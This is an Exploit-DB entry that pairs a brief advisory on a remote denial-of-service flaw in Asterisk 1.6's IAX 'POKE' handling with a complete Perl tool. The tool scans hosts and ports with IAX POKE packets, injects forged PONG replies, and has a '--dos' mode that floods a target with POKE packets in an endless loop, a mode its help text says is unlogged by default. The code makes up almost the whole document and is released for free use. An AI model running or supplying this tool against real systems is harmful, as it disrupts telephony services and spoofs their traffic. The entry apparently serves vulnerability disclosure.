Asterisk 1.6 IAX - 'POKE' Requests Remote Denial of Service

EDB-ID:

32095




Platform:

Linux

Date:

2008-07-21


source: https://www.securityfocus.com/bid/30321/info

Asterisk is prone to a remote denial-of-service vulnerability because it fails to handle multiple 'POKE' requests in quick succession.

Attackers can exploit this issue by sending a persistent stream of 'POKE' requests that will consume processor resources and deny service to legitimate users.

NOTE: By default, 'POKE' requests are not logged by Asterisk. 

#!/usr/bin/perl -w
#udp IAX ping discovery and injection tool
#Created: Blake Cornell
#Released under no license, use at your own free will
#
# Do not hesitate to show enthusiasm and support
# 	and help develop this further.

use strict;
use IO::Socket;
use Getopt::Long;
use Net::Subnets;
use Pod::Usage;


my @target_port = (4569);
my @targets = ('127.0.0.1');

my $result = GetOptions('port|p=i' => \(my $port = ''),
			'sport|sp=i' => \(my $sport = ''),
			'eport|ep=i' => \(my $eport = ''),
			'source|sip=s' => \(my $source = ''),
			'host|h=s' => \(my $host = ''),
			'inject|in' => \(my $inject = ''),
			'dos' => \(my $dos = ''),
			'timeout|t=i' => \(my $timeout = ''),
			'dundi-check|dundi' => \(my $dundi = ''),
			'verbose|v' => \(my $verbose = ''),
			'help|?' => \(my $help = '')) or pod2usage(2);

if($help) { printUsage(); }
if($host) { @targets=@{retHosts($host)}; }
if($port) { $target_port[0] = $port; }
if($dundi) { print "DUNDI Option Scan not supported yet."; }
if($source) { print "Setting of the source IP address is only supported 
in inject mode"; }


if($inject) { 
	if($verbose) { print "INJECTION MODE"; }
	if(!@targets) {
		print "\nSet the host ( -h ) option\n";
		return 1;
	}
	for(my $i=20000;$i<=65535;$i++) {
		for(my $j=0;$j<=$#targets;$j++) {
			if($verbose) { print $targets[$j]; }
			injectIAXPoke($targets[$j],$source,$i,0);
		}
	#my($target,$source,$port,$timeout,@args)=@_;
	}
	exit;
}

if($dos) {
	while(1) {
		for(my $j=0;$j<=$#targets;$j++) {
			if($verbose) { print $targets[$j]; }
			dosIAXPoke($targets[$j],4569,$timeout);
		}
		
	}
}

if($sport ne '' && $eport ne '') { #defined doesn't work for getoptions
				#devices are always defined
	if($verbose ne '') { print "Scanning Port Range\n"; }
	if($eport < $sport) {
		my $tmp = $eport;
		$eport = $sport;
		$sport = $tmp;
	}
	if($sport < 1) { $sport = 1; }
	if($eport > 65535) { $eport = 65535; }
	if($timeout ne '' && $verbose ne '') {
		if($timeout <= 0) {
			$timeout = 1;
		}
		print "Scanning Ports $sport through $eport\n";
		print "Setting timeout to $timeout\n";
	}

	@target_port=();
	for(my $i=$sport; $i <= $eport; $i++) {
		push(@target_port,$i);
	}
	sendIAXPokes(\@targets,\@target_port);

}else{	#scanning only default port...
	sendIAXPokes(\@targets,\@target_port);
}

sub sendIAXPokes {
	my($targets_ref,$target_ports_ref,@args)=@_;

	my @targets=@{$targets_ref};
	my @target_ports=@{$target_ports_ref};

	for(my $i=0;$i<=$#targets;$i++) {
		for(my $j=0;$j<=$#target_ports;$j++) {
			
sendIAXPoke($targets[$i],$target_ports[$j],$timeout);
		}
	}
}

sub sendIAXPoke {
	my($target,$port,$timeout,@args)=@_;

	if($verbose) {
		print "Trying $target:$port\n";

	}
	socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp"));

	my $src_call = "8000"; 
	my $dst_call = "0000";
	my $timestamp = "00000000";
	my $outbound_seq = "00";
	my $inbound_seq = "00";
	my $type = "06"; #IAX_Control
	my $iax_type = "1e"; #POKE
	my $msg = pack "H24", $src_call . $dst_call . $timestamp . 
$outbound_seq . $inbound_seq . $type . $iax_type;

	my $ipaddr = inet_aton($target);
	my $sin = sockaddr_in($port,$ipaddr);

	send(PING, $msg, 0, $sin) == length($msg) or die "cannot send to 
$target : $port : $!\n";

	my $MAXLEN = 1024;
	my $TIMEOUT = 1;
	if(defined($timeout) && $timeout ne '' && $timeout != 0) { 
#timeout of 0 hangs
								
#unanswered requests
		$TIMEOUT=$timeout;
	}
	eval {
		local $SIG{ALRM} = sub { die "alarm time out"; };
		alarm $TIMEOUT;

		while (1) {
			my $recvfrom = recv(PING, $msg, $MAXLEN, 0) or 
die "recv: $!";
			($port, $ipaddr) = sockaddr_in($recvfrom);
			my $respaddr = inet_ntoa($ipaddr);
			print "Response from $respaddr : $port\n";
			return($respaddr,$port);
		}

	}; 
}

sub injectIAXPoke {
	my($target,$source,$port,$timeout,@args)=@_;

	socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp"));

	my $src_call = "8000"; 
	my $dst_call = "0000";
	my $timestamp = "00000000";
	my $outbound_seq = "00";
	my $inbound_seq = "01"; #increment by one did he say?
	my $type = "06"; #IAX_Control
	my $iax_type = "03"; #PONG
	my $msg = pack "H24", $src_call . $dst_call . $timestamp . 
$outbound_seq . $inbound_seq . $type . $iax_type;

	my $targetIP = inet_aton($target);
	my $sin = sockaddr_in($port,$targetIP);

	send(PING, $msg, 0, $sin) == length($msg) or die "cannot send to 
$target : $port : $!\n";
}

sub retHosts {
	my($host,@args)=@_;
	my @addrs;
	
	if(!$host) { return ('127.0.0.1') };

	if($host =~ 
/^([\d]{1,3}).([\d]{1,3}).([\d]{1,3}).([\d]{1,3})\/([\d]{1,2})$/ && $1 
>= 0 && $1 <= 255 && $2 >= 0 && $2 <= 255 && $3 >= 0 && $3 <= 255 && $4 
>= 0 && $4 <= 255) {
					#Check to see if host is valid 
class C CIDR Address
	 	if($verbose) { print "Setting CIDR Address Range\n"; }
		my $sn = Net::Subnets->new;
		
		my($low,$high)=$sn->range(\$host);
		if($verbose) { print "Determined IP Ranges From $$low - 
$$high\n"; }
		return \@{ $sn->list(\($$low,$$high)) };
		
	}elsif($host =~ 
/^([\d]{1,3}).([\d]{1,3}).([\d]{1,3}).([\d]{1,3})$/ && $1 >= 0 && $1 <= 
255 && $2 >= 0 && $2 <= 255 && $3 >= 0 && $3 <= 255 && $4 >= 0 && $4 <= 
255)  {
					#Check to see if host is valid 
IP
		push(@addrs,"$1.$2.$3.$4");
	}else{
		push(@addrs,$host);
	}
	return \@addrs;
}

sub dosIAXPoke {
	my($target,$port,$timeout,@args)=@_;

	if($verbose) {
		print "Trying $target:$port\n";

	}
	socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp"));

	my $src_call = "8000"; 
	my $dst_call = "0000";
	my $timestamp = "00000000";
	my $outbound_seq = "00";
	my $inbound_seq = "00";
	my $type = "06"; #IAX_Control
	my $iax_type = "1e"; #POKE
	my $msg = pack "H24", $src_call . $dst_call . $timestamp . 
$outbound_seq . $inbound_seq . $type . $iax_type;

	my $ipaddr = inet_aton($target);
	my $sin = sockaddr_in($port,$ipaddr);

	send(PING, $msg, 0, $sin) == length($msg) or die "cannot send to 
$target : $port : $!\n";
}


sub printUsage {
	print "$0 -h remoteorigin.com \n\t\tScans remoteorigin.com on 
default port of 4569\n";
	print "$0 -h remoteorigin.com -sp 4000 -ep 5000\n\t\tScans ports 
4000 through 5000 on server remoteorigin.com\n";
	print "$0 --source remoteorigi.com -h 127.0.0.1 
--inject\n\t\tInjects Forged Poke Replies to 127.0.0.1 from 
remoteorigin.com\n";
	print "$0 --dos\n\t\tThis will continually send IAX Poke 
packets.  This will eat up CPU cycles and isn't logged by default\n";
	exit;
}